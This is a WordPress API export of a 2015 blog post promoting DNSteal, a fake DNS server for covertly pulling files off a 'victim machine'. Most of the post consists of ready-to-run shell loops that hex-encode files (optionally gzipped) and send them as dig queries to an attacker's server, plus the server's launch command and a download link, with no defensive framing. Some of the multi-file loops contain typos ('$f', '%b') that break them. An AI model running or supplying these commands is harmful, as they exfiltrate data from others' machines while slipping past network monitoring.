{"id":2602,"date":"2015-09-28T08:58:27","date_gmt":"2015-09-28T08:58:27","guid":{"rendered":"http:\/\/www.pir8geek.com\/?p=2602"},"modified":"2015-09-28T08:58:27","modified_gmt":"2015-09-28T08:58:27","slug":"dnsteal-dns-exfiltration-tool-for-stealthily-sending-files-over-dns-requests","status":"publish","type":"post","link":"https:\/\/www.jameseduard.com\/?p=2602","title":{"rendered":"DNSteal &#8211; DNS Exfiltration tool for stealthily sending files over DNS requests."},"content":{"rendered":"<p><strong>DNSteal &#8211; DNS Exfiltration tool<\/strong><br \/>\nThis is a <em>fake DNS server<\/em> that allows you to stealthily extract files from a victim machine through DNS requests.<br \/>\nBelow is an image showing an example of how to use:<br \/>\n<a href=\"http:\/\/www.pir8geek.com\/wp-content\/uploads\/2015\/09\/dnsteal.png\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-2603\" src=\"http:\/\/www.pir8geek.com\/wp-content\/uploads\/2015\/09\/dnsteal.png\" alt=\"dnsteal\" width=\"1885\" height=\"659\" \/><\/a><br \/>\nOn the victim machine, you simply can do something like so:<\/p>\n<pre>for b in $(xxd -p file\/to\/send.png); do dig @server $b.filename.com; done\n<\/pre>\n<p>Support for multiple files<\/p>\n<pre>for filename in $(ls); do for b in $(xxd -p $f); do dig +short @server %b.$filename.com; done; done\n<\/pre>\n<p>gzip compression supported<br \/>\nIt also supports compression of the file to allow for faster transfer speeds, this can be achieved using the &#8220;-z&#8221; switch:<\/p>\n<pre>python dnsteal.py 127.0.0.1 -z\n<\/pre>\n<p>Then on the victim machine send a Gzipped file like so:<\/p>\n<pre>for b in $(gzip -c file\/to\/send.png | xxd -p); do dig @server $b.filename.com; done\n<\/pre>\n<p>or for multiple, gzip compressed files:<\/p>\n<pre>for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @server %b.$filename.com; done; done\n<\/pre>\n<div style=\"text-align: center;\"><a href=\"https:\/\/github.com\/m57\/dnsteal\" target=\"_blank\" rel=\"noopener noreferrer\"><b>Download\u00a0DNSteal at Github<\/b><\/a><\/div>\n","protected":false},"excerpt":{"rendered":"<p>DNSteal &#8211; DNS Exfiltration tool This is a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests. Below is an image showing an example of how to use: On the victim machine, you simply can do something like so: for b in $(xxd -p file\/to\/send.png); do dig<\/p>\n","protected":false},"author":1,"featured_media":2603,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[154,470],"tags":[564],"class_list":["post-2602","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-pentesting-tools","category-sniffing-spoofing","tag-dns"],"_links":{"self":[{"href":"https:\/\/www.jameseduard.com\/index.php?rest_route=\/wp\/v2\/posts\/2602","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.jameseduard.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jameseduard.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jameseduard.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jameseduard.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2602"}],"version-history":[{"count":0,"href":"https:\/\/www.jameseduard.com\/index.php?rest_route=\/wp\/v2\/posts\/2602\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.jameseduard.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2602"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jameseduard.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2602"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jameseduard.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2602"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}